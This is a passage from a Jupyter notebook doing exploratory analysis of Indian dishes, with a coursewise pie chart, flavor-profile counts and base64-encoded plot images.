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", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(12,6))\n", + "plt.title('Coursewise distribution of Indian dishes')\n", + "plt.pie(course_counts, labels=course_counts.index, autopct='%1.1f%%', startangle=180);\n", + "plt.legend()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "pYWacJWkdKxt" + }, + "source": [ + "The pie chart clearly shows the coursewise distribution of Indian dishes.\n", + "\n", + "About 46% of Indian dishes comes under main course which is the highest among all courses.\n", + "\n", + "And only 1% of Indian dishes comes under starter which is the least among all courses." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "X7_t-YFOae8H", + "outputId": "02f62915-cdea-4a0a-b1ab-b3ebd6375557" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "spicy 102\n", + "sweet 73\n", + "bitter 4\n", + "sour 1\n", + "Name: flavor_profile, dtype: int64" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Flavorwise No. of dishes\n", + "flavor_counts = df1.flavor_profile.value_counts()\n", + "flavor_counts" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 394 + }, + "id": "jmPAd0yWafpi", + "outputId": "42bc7452-f1df-4c80-b473-36b703f5aa86" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": "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s9b5DkdMQIly3aBpGg5HTKBZs9b5wLDDqUMJs0LRuDB0XVeDsNcD4f18WBMEK2FWKBSKKEMJs0KhUEQZ6uWfQqEgIdnd3+101JseePzBYFG+Z0V9tffZZx83f+21FzvNnDl/edWlI48SZoVCgdvpcHT5z/f11l7aE39xVDpFdB0wZsxf944ceWp+PTZ5RChhVkQlQoh3gBZSyjGRtkXR8HG73Zbb7Q5G2o7qomLMCoWiQbBgwfyEq666tOeoUScNPP30kweMGze217p1a1yfffZx81GjThr4888zki+8cEzfkSNPGDR+/FU90tK2OkvXLS1Ttr6ZM39OvuqqS3qecsoJg848c+SA2277e3ev16u99NJzbceOPa9P+favuebyno8+OrFjfWyr8pgV+xBCDAcmA32BECCBa4GfgdullB+Hy/0G9AeaSimDQojuwEago5RymxDCCTwMXA40A9YAD0gpfyzTVm/gKWA44AFmhtvIEkJMJJyUL4QoTe06RUo5uw43XxHFBINBJky4t/uoUWdmT5z46NZgMKCtWbM6zjCM0t+19957q9099zyw1e12m889N6XTfff9u/sHH3y+tqJ87VmzfkmaNOn+7ueff9HO++6bkBYMhrQFC35LMk1TO//8v2V/+umH7ZYtWxI3aNCQEoCNGzfEbtwo4++88z/p9bG9ymNWACCEcADfAKWiexzwHLZAzwFGhsvFAccCPmBIePWRwGYp5bbw97eBEcBl2CL/LvCtEKJ/uI62wFxgNTAUOA1IAL4RQujAFOBT4Begbfjze51suKJBUFhYYJSUlBjDh4/I69r1GF9KivCed96Fe3v06OkFCIVC2q233pExdOjxxamp/T0TJz6yNTMzwz1v3pzEiup777232x133Im5t99+1w4henn79Onruf76v++Ki4sz27fvEOjff2D+t99+1aK0/DfffNGia9djSvr2TfXUx/Yqj1lRShLQBPhWSrk5vGw9gBBiNnB7eNmJwBbgD+AUYCG2MM8Ol+0GXAp0kVJmhNd5SQhxGnAjcDNwE7BCSnlPaeNCiHHAXmCIlHKREMID+KSUWXWxsYqGRdOmzUIjR56ac++9d/Xo2ze1YODAwYVnnjk6t0OHTn6we9sNHDi4pLR8x46d/U2bNg1s2bLJPXz4yMLy9aWnb3Wfccbo7MraGzPmr9lTpjzRxePx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